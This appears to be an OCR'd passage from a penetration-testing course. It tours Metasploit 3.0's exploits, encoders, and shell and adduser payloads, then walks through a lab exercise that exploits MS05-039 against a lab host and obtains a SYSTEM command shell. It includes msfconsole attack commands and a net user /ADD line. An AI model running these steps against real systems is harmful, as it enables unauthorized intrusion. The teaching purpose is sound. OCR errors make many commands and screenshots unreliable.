commands we cite (usually cd, is, cat, and gedit - this is, after all, a tour through the 

file system) to view different piece parts of Metasploit. 

Penetration testers and ethical hackers that rely heavily on Metasploit often need to review a 
given piece of Metasploit to understand what it is doing in more detail. The Metasploit code 

is very well commented and nicely structured. Even if you don't understand Ruby, you will 
likely be able to discern what a given component is doing by reviewing its code, accessed 

via the techniques we'll cover in this tour. 
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Looking at MSF Components
via the File System

Look inside of /home/tools/framework-3.O:

Documentation User Interfaces
msfconsole
msfd
msfcli
msfweb
msfgui

exploits/
payloads!

Exploit
Creation

Toots

msfpescan
msfopcode
tools!

lib!
plugins/
Others...
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Start off by changing directories into the Metasploit 3.0 directory and typing the is command to
view its contents:

# cd /home/toois/framework-3..O

# is

Here, we see the main elements of Metasploit, which include:

Documentation: This directory contains information about how to use the various
aspects of Metasploit.

User Interfaces: Metasploit provides several different tools for interacting with the
framework. We'll analyze these in much more detail next.

Modules: This vital component of the framework is a directory that includes several
subdirectories. Two of the most important subdirectories are exploits, where the
exploit modules live, and payloads, where the various payload building blocks reside.
We'll tour these items in more detail as well.

Exploit Creation Tools: Because it is a comprehensive exploitation framework,
Metasploit includes tools for finding vulnerabilities, creating new exploits, and
developing new payloads. Some examples of these tools include msfpescan, the
Metasploit Framework Portable Executable scanning tool that looks through Windows
EXEs and DLLs to find patterns that might be consistent with a given type of
vulnerability, like a buffer overflow flaw. The msfopcode tool provides an interface
for looking up machine language opcodes to find snippets of code with given
functionality useful to exploit writers. The tools directory includes several other items
useful in analyzing vulnerabilities and creating exploits

Other items: There are various miscellaneous items in this directory as well, such as
libraries of shared code used throughout the framework, plug-ins that tweak Metasploit
functionality, and a variety of other tools.

25

Main
Framework
Directory

# cd /home/toois/frainework-3.O
# is
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Nut\\wk Pen T[cstir 

Useful Metasploit 
User Interfaces 

Numerous different user interface options 

- ms fconsol e: a customized Metasploit 
command prompt... use this one! 

- msfd a daemon that listens by default on TCP 
port 55554, offering up msfconsole access to 

anyone that connects 
Useful for having a single Metasploit install accessed by 

multiple users, all using the same version at the same time 
But... no authentication or encryption 

-msfcli: the command line, all options 
specified in single command, useful for scripts 

009, ll Ri17 Rscr 26 

Please note that we won't go over every single item in these directories, but will instead 
focus on those that are most important to penetration testers and ethical hackers that rely on 

Metasploit. 

Let's start with the user interfaces, focusing on the most useful one of all, the Metasploit 
console interface, called msfconsole. This is a customized Metasploit command prompt, 

with all kinds of useful features, including TAB auto-complete, environment variables, the 
ability to run local commands in the local operating system, as well as various custom 

Metasploit commands, like "exploit", the command which launches an exploit at a target. 
For this class, we'll rely exclusively on this interface, because it tends to be the best one for 

penetration testers and ethical hackers, with its great flexibility and useful features. 

Alternatively, the msfd program creates a local daemon that listens on TCP port 55554. If 
anyone connects to it (using a Netcat client, for example, which can make a connection to an 

arbitrary TCP port), they'll get Metasploit console access. The idea here is that we can have 
multiple Metasploit testers all using a single version of Metasploit on one box, so we don't 

have to worry that they may be using different versions with different updates. By default, 
msfd only allows connections from localhost, but it can be configured to listen for remote 

connections. Unfortunately, msfd does not require any authentication, nor does it encrypt 
the session. Thus, we recommend that you not use it for penetration testing. 

The msfcli is the Metasploit command line interface, a single command that you can provide 
with a big set of command flags to make Metasploit do what you want it to do. If you write 
shell scripts and want to have your script invoke Metasploit to do something, you'll likely 

invoke it via the msfcli. 
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Other MetasrIoit User Interfaces
Other user interfaces are nice for demos, but often less tailored
to what a professional penetration tester or ethical hacker
needs

msfgui: a ruby-based GTK (GIMP Toolkit) GUI for Metasploit

msfweb: Creates web server on TCP port 55555, listening for
browser connections that can configure Metasploit exploits

V
Eile Edit View Go Bookmarks Tools Window Help

MirrosoliPleo and P

Microsoft Plug arid Play Service Overflow

Please enter all nf the required options and press Launch Eupldt to continue,

CURRENT CONFI(IJRATION CHANGE PAYLOAD

EXPLOIT

TARGET

PAYLOAD

windows/smb/msOY,039,pnp

tMrrdGws XP SPi English

qence c/s hell_blnd,tc p
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Besides the console and command-line interfaces, Metasploit also includes two more
graphically oriented user interfaces: msfgui and msfweb. These interfaces are very useful
for demos to management, but tend to be slower and less tailored to the needs of penetration
testers than the console-related interfaces. Some less technical managers understand the
significance of a given vulnerability much better if it can be exploited with a point-and-click
interface. Demos via a command-line interface may make a vulnerability seem less "scary"
to some non-technical management personnel. Thus, to illustrate an issue for such
managers, you may want to use one of Metasploit's GUIs.

But, ironically, the GUIs are actually harder to use if you want to get deep access to a lot of
Metasploit's most powerful features. We recommend sticking with the msfconsole for
professional penetration testing and ethical hacking work.

The msfgui interface is written in Ruby using the Ruby / GTK (GIMP Toolkit) package.

The msfweb tool runs a small web server, listening on TCP port 55555. When a user surfs
to that port with a web browser, an interface is displayed in the browser, giving access to the
various components of Metasploit, including exploits and payloads. A series of useful
buttons appears at the top of the browser display for getting access to various components of
Metasploit, including a button to bring up the msfconsole.
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Metasploìt Modules - 
Exploits 

s Let's look at the modules 
# cd /home/toois/framework-3 

. 
O/modules 

* is 

Here we see numerous items: 

- auxiliary: Miscellaneous items, including vuln checkers, denial of 
service tools, etc. 

- encoders: Modules that convert exploits and payloads to a different 
form to bypass filters for certain characters and dodge signature- 

based detection 
exploits: Metasploit's exploit arsenal 

nops: Modules that create NOP sleds from functionally equivalent 
machine-language instructions to improve the odds of successful 

exploitation 
payloads: Metasploit's payload arsenal 

modules.rb.ts.rb: A test suite for various modules 

Pen thicaI Ilacking 009, All Rights 

Next, let's take a look at some of the Metasploit modules. Start by changing into the modules 
directory: 

# cd /home/tools/fraiuework-3 .0/modules 

# is 

We see that there are several elements in here, including: 

auxiliary: This directory contains modules that are associated with scanning for vulnerable 
systems, launching denial of service attacks, and other items that don't fit into other categories. 

encoders: This directory holds modules that will convert an exploit and payload combination to 

a different form, encoding it so that it avoids certain characters or character sets that might be 
filtered out by the target system. These encoders can also help dodge detection by transforming 

exploits and payloads so that they don't match the signatures of an IPS or IDS tool. 

exploits: Here we have Metasploit's big arsenal of exploitation code. 

flops.. This directory holds snippets of code that generate NOP sleds. A NOP is one or more 
machine language instructions that tell a processor to do nothing, a No-Operation, pronounced 

either "nop" or "no-op". Metasploit exploit writers can use this code to include a series of NOPs 
called a NOP sled in their exploits to help improve the odds that the exploit will run successfully. 
Many exploits change a pointer that controls program execution flow, making a program jump to 

an area of memory where the attacker has inserted the payload code. Because some programs 
and operating systems have very dynamic memory management, the attacker doesn't always 

know exactly where to jump. NOP sleds help them fudge the pointer guess for jumping to the 
payload code, because as long as their pointer lands in the NOP sled, the target system will run a 

series of NOPs for a while before invoking the payload. 

payloads: Metasploit stores its payloads in this directory. 

modules.rb.ts.rb: This is a test suite for various Metasploit modules. 
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The Metasploit Exploit Arsenal
Let's zoom in on the exploits
# cd /home/tools/framework-3 .0/modules/exploits
# is

- Sorted by operating system
bsdi, hpux, irix, linux, osx, solaris, unix, windows
multi: Exploits that hit multiple target operating system types,
including some browser attacks, PHP exploits, and some samba
exploits
test: Experimental exploits often used as examples for new exploit
development

- Note that the operating system directories contain
exploits for the OS itself, as well as programs that run
on that OS

Example: windows directory includes exploits for Windows and
software that runs on Windows (anti-virus, backup tools, games,
POP3 and IMAP mail servers, etc.)

Nciv«ork Pn lesung & F hacking Il Rights R 29

Lct's zoom in on the exploits now. Change directories into the exploit section of
Metasploit:

# cd /home/tools/frainework-3 . 0/modules/exploits

# is

Note that the exploits are sorted by operating system, with a set for bsdi, hpux, irix, linux,
osx (Apple Macintosh OS X), solaris, unix, and windows. The multi directory contains
exploits that may work on multiple operating systems (including some browser attacks, PHP
exploits, and samba exploits), while the test directory includes experimental exploit code
that is sometimes used as an example for exploit writers to create new exploits.

Note that each directory of exploits for a given operating system contains exploits that target
software that is built-in to that operating system as well as third-party programs that run on
the operating system. For example, the windows directory contains exploits not only for
Windows itself, but also for tools that run on Windows, such as anti-virus tools, backup
programs, games, mail servers (imap and pop3), and so on.
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30 

Windows Exploits 

Let's look at Windows exploits 
# cd /home/tools/frainework-3 .0/modules/exploits/windows 

* is 

- Numerous categories, but some of the most useful 
include: 

dcerpc: Microsoft's implementation of the Distributed Computing 
Environment Remote Procedure Call, often used for remote access 

and administration of Windows 
browser: Client-side exploits, mostly for JE, but also includes AIM, 

RealPlayer, QuickTime, iTunes, Winamp, etc. 

ils: Server-side exploits for Microsoft's web server 
smb: Server-side exploits for Microsoft's Server Message Block 

implementation 

vnc: Attacks against Virtual Network Computing clients and servers 

Network Pen Testi Ethical I lacking All Ri Res v 
cl 

Let's change into the windows directory and get a directory listing: 

cd /home/toois/framework-3 
. 

0/moduies/exploits/windows 
# is 

Here, we see that the Windows exploits are split up into groups, sorted by the type of 
element on a Windows machine that the given exploits attack. Some of the most interesting 

and widely used types are: 

dcerpc: These server-side exploits attack Microsoft's implementation of the Distributed 
Computing Environment Remote Procedure Call (DCERPC) services, often used for remote 

access to and administration of Windows machines. 

browser: These client-side exploits focus on various browsers that run on Windows, 
particularly Internet Explorer, but also including AIM, RealPlayer, QuickTime, iTunes, and 

Winamp. 

jis: These server-side exploits focus on Microsoft's web server product, JIS. 

smb: These server-side exploits take advantage of flaws in Microsoft's Server Message 
Block (SMB) implementation, used for Windows file and print sharing, as well as numerous 
other Windows remote access and management features. 

vnc: These exploits attack flaws in the Windows version of the Virtual Network Computing 
(VNC) tool used for remote GUI control of systems. 
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Metasploit Exploits: Looking at
Windows Plug-n-Play Exploit
Let's zoom ¡n on a Windows exploit
# cd /home/tools/franiework-
3. 0/modules/exploits/windows/smb

# gedit msO5 039 lDnp.rb

Ein Edil View search tools eocurnents Holy

New Oyserr Suce Print Cut Copy P.tsle Find Repiann

ntson_03il..pnp rit x
kLav Service Uvertlow

Dencription => %q{
This nodule exploits a stack

overflow in tine Windows P1u
and Play service. This

vulnerability can be exploited
°indotos 2000 without a valid user

account. Since the Pit? erIe runc ttide the service.

Ne ui1 x. i. Y, J
LntC.d I t

ved

Now, let's look at a specific Metasploit exploit, opening up its Ruby code in a text editor. We'll
focus on Metasploit's exploit for Windows' Plug and Play service, patched by MSO5-039. This
was the vulnerability exploited by the Zotob wormlbot combo. To open the exploit code in gedit,
usc these commands:

# cd /home/tools/framework-3.0/modules/exploits/windows/snib

# gedit ms05_039pnp.rb

As a professional penetration tester or ethical hacker, it's usually a good idea to check out a given
exploit's code before blindly running it against a target, so you can better understand what it does.

Inside the exploit code, start paging down. You will see that the code is really quite well
documented, and is, for the most part, understandable even if you don't know Ruby. We can see a
description of the exploit, near the item that says "Description". This exploit targets a stack
overflow in the Windows Plug and Play service. It tells us that it is attacking the service.exe
process (which should actually be the "services.exe" process... it's a typo), and that there is some
risk of a reboot. In laboratory experiments, however, this exploit has proven to be highly reliable.

Continuing down the exploit code, we can see various references so we can learn more about the
vulnerability that the exploit targets, including its OSVDB number (searchable within the Open
Source Vulnerability Database at osvdb.org), its CVE number (searchable at cve.mitre.org), and its
Bugtraq ID number. Continuing down, we can see the author of this exploit ("hdm" refers to HD
Moore). We can also see various target types, the specific operating system the exploit is geared
to. We can also see the various dependencies and calls into other modules made by this exploit.
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Metasploit Modules: Payloads 

Now, let's look at the payloads 
# cd /home/tools/framework-3 .0/modules/payloads 

# is 

We see some subdirectories: 

- singles: Stand-alone payloads that have their 
functionality and communication bundled together 

- stagers: Payload piece-parts that load first and allow a 
later stage to communicate with the attacker in 

numerous flexible fashions 

- stages: Payload piece-parts that 
implement a function, but 

communicate using an 
already-loaded stager 

- a stager + a stage = full payload 

Payload 

comm 

Payload 

function 

lA Iv 
Io 
JA 
D 

stager 

stage 

Close your editor WITHOUT SAVING! If you accidentally made any changes to that exploit while 
reviewing it, we don't want those changes saved. We'll run that exploit in an exercise shortly. 

Next, let's look at the payloads. Change to the payloads directory and type ls: 

# cd /home/tools/frainework-3 .0/modules/payloads 

# ls 

Here, we see a group of subdirectories that contain payloads and payload pieces. Of particular 
interest to us arc: 

singles: These are stand-alone payloads that include all of their pieces in one module. Both the 
functionality of the payload and its communication with the attacker are bundled together in each of 

these payloads. 

stagers: Some payloads are broken into multiple pieces, with a stager loaded into the target memory 
before a follow-on stage. The stagers tend to implement communications code for the later piece of 

the payload, which implements the payload's function (a remote shell, GUI control, etc.). The 

stagers directory contains modules that include listening TCP ports, reverse TCP connections, and 
others. 

stages: These elements are payload piece-parts that implement the functionality of a payload, such 

as a remote shell, GUI control, etc. 

So, some payloads are self-contained, while others are broken up into a stager and stage. Breaking 

up these payloads into stager and stage is a very flexible concept, because we can then use almost 

any stage with almost any stager, choosing the payload functionality we want independent of how 

we want to communicate with the payload once it is loaded on the target machine. 

32 

©20() All Righis Reserved 
32 Network Pen Testing & Fthical 11cc 

PDF compression, OCR, web optimization using a watermarked evaluation copy of CVISION PDFCompressor

http://www.cvisiontech.com


Metasploit Pa
Windows Sì

Let's look at Windows singles
payloads
# cd /home/toois/framework-
3. O/modules/payioads/singies/windows

# is

Windows singles payloads include:
- adduser: Creates an account and adds it to

the local admin group
- exec: Runs a command of attacker's

choosing

download_exec: Downloads a file via HTTP
and executes it

- shell_bind_tcp: Standard TCP shell listener
- shell_bindjcp_xpfw: Shuts off Windows

firewall and starts TCP shell listener
- shell_reverse_tcp: Reverse shell back to

attacker

33

The next stop on our tour will be the Windows singles payloads directory. Change to there and
get a directory listing as follows:
# cd /home/toois/framework-3 O/moduies/payioads/singles/windows

# is

Remember, each of these payloads is self contained, including all functionality for loading the
payload into the memory of the target, communicating with the attacker, and doing the attacker's
bidding on the target system. These singles payloads include:

adduser: As its name implies, this payload creates a user account with a name and password of
the attacker's choosing, and adds that account to the local admin group. You can open this ruby
script in gedit (gedit adduser.rb) and look through its code. If you do, you'll see the
commandsthatitruns on the target: "cmd.exe /c net user #{user} #{pass}
/ADD"and"net locaigroup Administrators #{user}".
exec: This payload runs a command of the attacker's choosing on the targt machine.

download exec: This payload downloads a program to the target machine via HTTP, and then
executes the downloaded program.

shell bind tcp: This payload provides cmd.exe shell access via a listening TCP port on the
victim machine.

shell bind tcp xpfw: This payload is very similar to shell bind tcp, but it first disables the
Windows Internet Connection Firewall (ICF), the built-in Windows personal firewall, before it
starts listening on a TCP port.

shell reverse Icp: This payload makes a reverse shell connection back to the attacker,
implementing in-bound shell access to the target machine via an outbound TCP connection back
to the attacker.

yloads:
ngles

L - X'
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det command_string
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The stagers are those payload pieces the can load the rest of a payload into the target's 
memory and then provide useful communications abilities between the attacker and the 

loaded payload. Change to the Windows stagers directory and look around: 

# cd /home/tools/framework- 
3.0/modules/payloads/stagers/windows 

# is 

Here, we see the following very useful stagers: 

bind tcp: This stager implements a listener on a TCP port of the attacker's choosing. 

findtagord: This stager implements communication via the existing TCP connection that 
was used to deliver the exploit and payload in the first place. In other words, if the attacker 
just exploited the system over a given connection to TCP port 445 for an SMB-related 

attack, this stager finds and uses that same connection - not just the same port, but the same 
TCP connection. 

reverse tcp: This stager implements a reverse connection from the target machine back to 
attacker on a TCP port of the attacker's choosing. 

reverse ordtcp: The reverse ordinal TCP stager uses network communications code (the 
ws232.dll) that Windows usually loads into the memory of network-communicating 

processes to carry a reverse connection back to the attacker. The payload doesn't include 
any new networking code, but instead makes calls into Windows libraries already loaded 
into memory. 

passivex. This fascinating stager loads an ActiveX control into Internet Explorer on the 
victim machine, and uses it for a reverse HTTP communications stream. Let's look at this 

concept in more detail on the next slide. 
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Metasploit Payloads: 
Windows Stagers 

Now, let's look at Windows stagers 
# cd /home/tools/framework- 

3.0/modules/payloads/stagers/windows 

# is 

Windows stagers include: 
bind_tcp: Listen on a TCP port for new connection 

findtag_ord: Use existing TCP connection that exploit was delivered 
over 

- reverse_tcp: Make a reverse connection from target back to 
attacker 

- reverse_ord_tcp: Make reverse connection using ws2_32.dll already 
loaded into memory of exploited process 

- passivex: Run ActiveX control in JE for reverse HTTP 
communications 

k Pcn Tct I lackin 
- 
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Attacker's
PassiveX
Server

PassiveX Stager in Action

Attacker

Attacker delivers
exploit with PassiveX

loader

oHTTP
Reques

Response is
ActiveX control
called PassiveX

stager, which
loads stage such

as the Meterpreter
orVNC

Reconfigs lE,
runs lE,

and fetches URL

Victim

Meterpreter or
VNC uses
PassiveX

stager running
inside of lE to
get commands
from attacker

via HTTP
Attacker

With the PassiveX stager, all communications between the attacker and the payload now
occurs over an HTTP communication session from tE to the attacker. It's a reverse shell,
implemented as an outbound connection from the target machine's JE browser to the
attacker. This approach gets around personal firewalls, as long as they al low outbound JE
via HTTP. The steps implemented by the PassiveX stager include:

An exploit delivers the PassiveX loader to the target machine

The loader first alters the registry to reconfigure the JE browser so that ActiveX
is enabled in the network zone where the attacker resides. The PassiveX loader
then runs JE in an invisible pane, not displaying any browser window on the
screen.

The exploit then tells JE to fetch a given URL where the attacker is running
Metasploit.

The URL will return an ActiveX control called the PassiveX stager. Once the
PassiveX stager is running inside of JE, it loads and runs a stage of the
attacker's choosing, such as the Meterpreter or VNC.

All communication between the attacker and the stage now occurs over the
HTTP communication session from JE to the attacker.

As of this writing, the PassiveX stager is implemented to use 1E6. However, the concept
could be extended to use JE7 or even other browsers.
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Metasploìt Payloads: 
Windows Stages 

Now, let's look at Windows 
stages 

# cd /home/toois/framework- 
3.0/modules /payloads/stages/ 

windows 

* is 

Windows stages include: 
dllinject: Inject arbitrary DLL into 

target memory 
upexec: Upload and run an 

executable 

- shell: Windows cmd.exe shell 
vncinject: Virtual Network Computing 

remote GUI control 

- meterpreter: Flexible specialized shell 
environment 

Network Pen Testing & ehicaI lIacking 
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The stager's job is to load a stage into memory and provide communications abilities for it. The 

stage itself is the function the attacker wants to execute on the target machine, letting the attacker 
interact with and possibly control the target machine. But, what stages does Metasploit offer us 

as penetration testers and ethical hackers? We have several options for Windows machines, 
viewable by typing: 

* cd /home/tools/framework- 
3.0/modules/payloads/stages/windows 

* is 

Here, we see: 

dilinject: This stage injects a DLL of the attacker's choosing into the memory of the target 
machine. The attacker would require a worthwhile DLL to use, though, perhaps custom code 

that the attacker wrote just for this test or this target. 

upexec: This stage uploads an executable to the target machine and runs it. 

shell: This stage implements a standard cmd.exe shell. So, as we saw a couple of slides back, we 
have a singles shell bind tcp payload, as well as a shell stage that can be loaded via the bind_tcp 

stager. Both have the same essential functionality - a cmd.exe listening on a TCP port of the 
attacker's choosing. 

vncinject: This stage gives remote Virtual Network Computing (VNC) control of the target, 
letting the attacker view the target's GUI and control its mouse and keyboard. By default, this 
stage will pop up a Mctasploit Courtesy She11TM on the target machine, indicating to the user at 

the console that Metasploit has been used to get VNC control over the system. 

meterpreter: This amazing stage provides a specialized shell environment designed for computer 
attackers, and is an ideal platform for penetration testers and ethical hackers to control a target 
machine. We'll zoom in at length on the Meterpreter's capabilities in the next section. 
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Updating Metasploit

In earlier versions of Metasploit, updates
occurred by either downloading the entire
tool again, or running the script msfupdate
In modern versions, Metasploit is updated
using a standard Subversion client
In the Metasploit Framework directory on a
machine with Internet connectivity, you
could run:

# svn update

Before Metasploit 3.0, older versions of Metasploit were updated using the ms fupdate program
included in the Metasploit framework directory. With the advent of Metasploit 3, project updates
are distributed via the Subversion service. This handy service allows for quick updates of
software. To update Metasploit with the latest exploits, payloads, and overall framework, you
could simply change into the framework directory and run:

# sim update

The tool will automatically pull the latest versions from the Metasploit Subversion server. While
this is handy, it is not without risk. Someone could hack into the Metasploit Subversion server and
load malicious backdoor software. With your update, you'd unwittingly bring down these tools,
and perhaps unleash them against your target environment, wreaking havoc.

Alternatively, you could download the entire new Metasploit framework, and compare its MD5
and SHA-1 hashes against multiple mirrors of the project just to help ensure the version you have
is consistent with others on the Internet. Ifa bad guy changes only one minor, you can detect the
subterfuge and avoid using the evil version. Of course, if the bad guy changes all minors, you still
lose.

Thus, we recommend caution in the update of any tool, and special caution with automatic
updates. Carefully review the new functionality to make sure you understand it and that it doesn't
include any unwanted malicious functionality. Experiment in a test lab, and review source code if
you have the capability of doing so.
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38 

This Concludes Our Tour 

We've seen some of the most useful piece- 
parts of Metasploit 

- Feel free to continue exploring the components 
of this amazing tool in more detail on your own 

Documentation, auxiliary components, and individual 
exploit/payload analysis can be fascinating 

For now, we'll perform an exercise using it 

- We need to get practical and hands-on 

- How can we use these various aspects of 
Metasploit to attack a target? 

Pen Testini & 1dhici1 I Iacihn - OU), AH Rights Reserved 

Now that we've seen the Metasploit exploit arsenal and its associated set of payloads, 
including stagers and stages, we'll conclude our tour of Metasploit through the file system. 

We encourage you to continue this exploration on your own, looking at the multitude of 
fascinating files and features that make up the Metasploit framework. If you have extra 

time, look through the documentation, cheek out the auxiliary components, and review other 
exploits and payloads in a text editor. As we've seen, even if you don't know Ruby, a lot 

can be learned by just viewing the source code of these pieces of Metasploit. 

But, with our Metasploit file system tour complete, our work with Metasploit isn't over at 
all. We'll now get practical and hands-on with a Metasploit exercise, seeing how we can 

access pieces of Metasploit from within the Metasploit console itself, configuring the tool to 
attack a target. 
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Course Roadmap

Planning and Sco
Scanning

Exploitation
Password Attac
Wireless Attacks
Web App Attacks

Why Exploitation?
Exploit Categories
Metasploit

Exercise: bind tcp
The Meterpreter
Exercise: Meterpreter

Non-Metasploit Exploits
Command Shell vs.
Terminal Access

> Exercise: The
Dilemma Illustrated

> Bypassing Dilemma
> Exercise: Relays for

Term Access
Moving Files with Exploits
Pilfering from Target Machines
Windows Command Line
Kung Fu for Pen Testers

- Exercise: Challenges
Making Win Run Commands

> Exercise: sc and wmic

Now, let's do an exercise with Metasploit. We'll use it to compromise a target
Windows system across the network with a server-side exploit. Our payload will
launch a Windows command shell (cmd.exe), giving us remote access of the
vulnerable target server.
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Metasploit Exercise 

We'll use Metasploit to get a remote command shell on a 
target system 

We'll use the Windows Plug-n-Play exploit against target 
10.10.10.10 

- Vulnerability patched with MSO5-039 

- Exploit gives attacker local SYSTEM privileges 

When you get access to the target, DO NOT make 
any changes to the target system 

- You can look around, but make no changes 

- The system is configured to support some later exercises as well 

- If you change things, you may break those exercises 

- Even what you think of as an innocuous change could result in 
issues... so make no changes 

For this exercise, we'll use Metasploit on our Linux machines to attack a target Windows 
system with a server-side exploit, giving us remote command shell access on a TCP port of 

our choosing. In particular, we'll take advantage of a buffer overflow flaw in the Windows 
Plug-n-Play service, a vulnerability that was fixed with Microsoft's patch for MSO5-039. 

The exploit gives the attacker local SYSTEM privileges on the target machine, the highest 
privileges we can have on a Windows machine, running commands with the privileges of 

the operating system itself. 

As you perform this exercise, you will gain remote access over 10.10.10.10 with local 
SYSTEM privileges. Please, tread very lightly on that system. You can look around with 

the hostname, dir, and ipconfig commands 

DO NOT make any changes to the target system at all. 

The system is configured to support not only this exercise, but later exercises for today and 
tomorrow. If you make changes to the machine, even changes that you think are innocuous, 

they could impact later exercises. Again, you can look around, but don't reconfigure or 
change anything 
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Launching Metasploit

We run Metasploit as follows...

We first change to its directory. On the Linux VMware image for the course, it is
/home/tools/framework-3 .0.

1 cd /home/tools/framework-3.O

We then run one of the Metasploit user interfaces: the console interface (msfconsole), which
gives us a custom Metasploit command prompt.

# ./msfconsole

When we see the Metasploit framework prompt (msf), we are ready to use the tool:

msf >

41

Network Pen Test g Ethical Hacking ©2(iU9, li Rights T 41

.
File Edit View Termina Go Help

e cd Ìhojse/too1.sfrajnework .0 1

f console
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=[ nsf v3.0
---=[ 191 exploits - :106 payloads
--=[ :17 encoders - 5 flops

=[ 16 aux
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bsth/eoftcart/inercantecsoftcart 

hpux/lpd/c leanup_exec 

irix/lpd/tagprinter_exec 
ecution 

linuxJgarnes/ut2004_necure 
Overflow (Linux) 

linux/http/peercast_url 

Looking at Exploit Arsenal 

Ço help 
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To get a list of exploits currently available to us in Metasploit, we run the command: 

msf > show exploits 

There are well over 200 different exploits included in Metasploit today. Look at all of them! 

Note how they arc organized. We first have the operating system (bsdi, hpux, linux, 
windows, etc.). Then, we have a category within that operating system. For example, for 
Windows, the categories include antivirus (exploits against antivirus tools), browser (a lot of 
client-side exploits are here) smb (server message block exploits), dcerpc (distributed 
computing environment remote procedure call), and many more. Then, we have the 

individual exploits themselves. 

These exploits and their organization are directly reflective of the modules directory in the 
Metasploit home directory (/home/tools/framework-3 .0/modules), sorted by operating 

system and then category. 

V 
- File Edit View Terminal 

inaf > show exploits 

Exloits 
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i.-
Fits Fdt View Terminal (o Heu

nsf > use explolt/windowsjsInb/insO5_l_pn
inst explolt(insOS_039_pnp) show pvttd

Compatible payloads

N-aille

Selecting an Exploit and
Reviewing Payloads

generic/shel Ubindtcp

generi c/sheli_reversotcp

windows/adduser

windows/adduser/bind_tcp
P Stager

Description

Generic conunand Shell, Bind StE InlinL

Generic Coiwnand Shell, Reverse TCL' tnj

Windows Execute net user /ADD

Windows Execute net user /ADD, Bind TI

Network Pen Testing & E

We will use the universal Plug-n-Play exploit. Please note that the Metasploit console
interface supports TAB-auto completion. Start typing the name of a given category, and hit
the TAB key to have Metasploit either finish typing for you (if the item you started to type is
unique) or to show you a list of everything that matches what you've typed so far (if what
you've typed doesn't uniquely identify an item). To configure Metasploit to use the PnP
exploit, we run:

msf > use exploit/windows/snth/msO5 039 np

Note that the console prompt has changed, to indicate that we have chosen an exploit,
specifically the msO5 039_pnp exploit.

Next, let's look at the payloads that are available for this exploit. We do that by running:

msf exploit(msO5 039 pnp) > show payloads

Look over the payloads. There are many that will give us a command shell or add users.
We are going to choose a command shell that will listen on a port on the target machine.
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Selecting a Payload and 
Reviewing Options 

V 
ils Edit View Terminal Go Rel 

nsf expioit(insOS_039_pnp) set PAYLOAD windows/sheil/bind_tcp J 

ttITLO!%LJ -? WLLLUUWS/ SIttrL1/ UIIIU.1ÀIJ 
nsf exp1ait(insOS_039_pnp) > show options 

ModuLe options 

Naine Current Setting Required Description 

RHOST 

RPORT 445 

SMBPIPE browser 
ssvc, ntsvcs) 

yes 

yes 

yes 

The target address 

Set the SMB service port 

The pipe natte to use (browser, srvsvc, sk 
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There are actually several payloads that can give us remote command shell access on the 
target machine, each communicating with the attacker in a different fashion. We'll choose 

one of the most straight forward: a shell that listens on a given TCP port on the victim 
machine, waiting for Metasploit to connect there to get command shell access. We 

configure this by typing: 

msf exploit(msO5_O39pnp) > set PAYLOAD 
windows! shell /bindtcp 

Now, we look at the options required for this exploit and payload: 

msf exp1oit(msO5O39_pnp) > show options 

Of particular interest to us are the RI-lOST, which is the target we want to hit, and LPORT, 
which is the TCP port the command shell will listen on. 

Note the other options here. These defaults work well for this given exploit. 

By the way, if you ever need to back out of a payload or even an exploit, you can use the 
simple "back" command in the MSF console. Unfortunately, on some versions of 

Metasploit, the back command will break TAB auto complete. 
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Running Local Commands in the
MSF Console and Setting Options

FtI Edit View Terminal Go Hei.

PING 10.10.10.10 (:10.10.10.10) 56(84) bytes of data.
¡64 bytes froin 10.10.10.10: íclnp_seq=1 tt1=128 tiine=3.97 nie
64 bytes troni 10.10.10.10: iciip_seq=2 ttl=128 tiine=0. 370 nie
64 bytes froc 10.10.10.10: icep_seq=3 ttl=128 tinre=0.649 ne
64 bytes froc 10.1U.i0.10: icsp_seq=4 ttl=128 time=0.397 ins

1.--- 10.10.10.10 ping statistics
4 packets transmitted, 4 received, 0% packet loss, titre 3021cc

exploit(ssOS_039_pnp) set RHOST 10.10.10.10

X

est exploit(nisoS_010_pnp) ping -c 4 10.10

hical JiacNetwork Pen Testing 'g t.2(l), \!1

The Metasp toit console shell is quite nice. You can of course configure Metasploit using it.
Additionally, you can run any "normal" operating system command from this shell as well.
Here, I'm showing you how we can invoke the ping command from the Metasploit console.
It's usually a good idea to ping a target before exploiting it, just to make sure it is running and
that we can communicate with it. We'll ping our example target, 10.10.10.10:

msf exploit(msO5_039_pnp) > ping c 4 10.10.10.10

The c 4 syntax makes ping send a count of four ICMP Echo Request messages to the target
machine. That's the default behavior of Windows (only sending 4 pings). Because we want to
get our command shell back quickly, we'lljust send 4. Also, some versions of Metasploit will
let you hit CTRL-C to get out of a command and come back to the Metasploit console shell
prompt. Other versions of Metasploit will actually stop running if you hit CTRL-C, dropping
you back into your operating system shell. Because of this, we will only send four pings so we
get placed back in the Metasploit console shell after ping finishes.

Next, we set the target machine as follows:

msf exploit (msO5_O39pnp) > set RHOST 10.10.10.10

And finally, we set the TCP port that the shell will use for communication. We want to choose
a port that is not already in use, so we pick a fairly random number from between i and 65535
that is not associated with a common service:

msf exploit (msO5_039_pnp) > set LPORT [nujiiber]

Care fully choose a number thai no one else in the class would use.
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tist p 05_030_pop) > net LPORT 23121

rnsf expioít(esOS_ _pnp) >

a' eservcd
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Exploiting the Target 

File Edft View Terminai Go Hei 

Windows 2000 [Version 5.00.2195] 
Copyright 1985-1999 Microsoft Corp. 

ostnalTme 

If you just get a "session INI 
opened" message, but no 

shell, flip to the next slide. 

mnsf exploit(ss05_039_pmip) > exploit 

[*1 Started bind handler 
[} Binding to 8d9f4e40-aO3d-llce 8f69-0800'3e300 lb I ncacn_np 10 10 lo 1O[\br 

owser] 
[*] Bound to 8d9f4e40-aO3d-llce-8f69-08003e30051b:1.00ncacn_np:1O.lO.1O.lO[\bro 

ser] 
[*] Calling the vulnerable function... 
[*] Sending stage (474 bytes) 
[[+1 Server did not respond, this is expected 
f[] Command shell session t opened (10.10.75.2:41224 -> 10.10.10.10:23121) 

NNT\system32> hostnamne 

)f k l'cn Icstin & I t1iica1 I lacking - 2O(9, \i1 Ribts Rcservcd 
46 

Now, we're ready to launch the attack at the target. To do this, we type one of the niftiest 
commands in the Metasploit console: 

msf exploit (msO5_039_pnp)> exploit 

If the target is successfully compromised, we'll either see a Windows command prompt or a 
notice that Metasploit opened a session with the target machine. If this is the first exploit 

Metasploit has used successfully since it was invoked, it'll just pop up a command shell in- 
line. If Metasploit has already hit other targets and gotten shell access of them, it will give 

you a separate session with which you can interact. 

If you get a Windows command prompt back, you can interact with it, typing commands 
such as hostname, ipconfig, and dir. 

